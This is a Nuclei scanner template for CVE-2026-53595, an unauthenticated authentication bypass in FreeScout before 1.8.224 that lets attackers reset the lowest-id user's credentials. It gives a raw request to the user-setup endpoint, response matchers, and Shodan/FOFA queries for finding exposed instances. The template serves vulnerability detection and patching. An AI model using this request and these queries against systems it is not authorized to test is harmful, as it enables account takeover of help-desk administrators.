FreeScout prior to 1.8.224 contains an authentication bypass caused by improper invite_hash handling and decryption failure in user setup endpoint, letting anonymous attackers reset credentials and log in as the lowest-id activated user, exploit requires no authentication.
PoC代码[已公开]
id: CVE-2026-53595
info:
name: FreeScout < 1.8.224 - Invite Hash Authorization Bypass
author: str4k3r
severity: critical
description: |
FreeScout prior to 1.8.224 contains an authentication bypass caused by improper invite_hash handling and decryption failure in user setup endpoint, letting anonymous attackers reset credentials and log in as the lowest-id activated user, exploit requires no authentication.
impact: |
Anonymous attackers can reset email and password of the lowest-id activated user, gaining full access including administrator privileges.
remediation: |
Upgrade to version 1.8.224 or later.
reference:
- https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-jqj5-r72v-v29g
- https://github.com/freescout-help-desk/freescout/commit/c4688c31
- https://nvd.nist.gov/vuln/detail/CVE-2026-53595
classification:
cve-id: CVE-2026-53595
epss-score: 0.01945
epss-percentile: 0.7904
cwe-id: CWE-289
cvss-score: 9.4
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
metadata:
verified: true
max-request: 1
vendor: freescout-help-desk
product: freescout
shodan-query: http.title:"FreeScout"
fofa-query: title="FreeScout" || body="freescout"
tags: cve,cve2026,freescout,helpdesk,laravel,authbypass,unauth
http:
- raw:
- |
GET /user-setup/%20/9999999999 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "name=\"password_confirmation\"", "User Setup Wizard")'
- '!contains(body, "No invite was found")'
condition: and
# digest: 4a0a0047304502210082abff72d3444d04fb5cc8da53a4cb5a9c203f3d51eb2d0d67348cf9419bf3be0220777093b10ade4b3a69e44f35e9dee9c25dde13503861c78b92c76a80593992ea:922c64590222798bb761d5b6d8e72950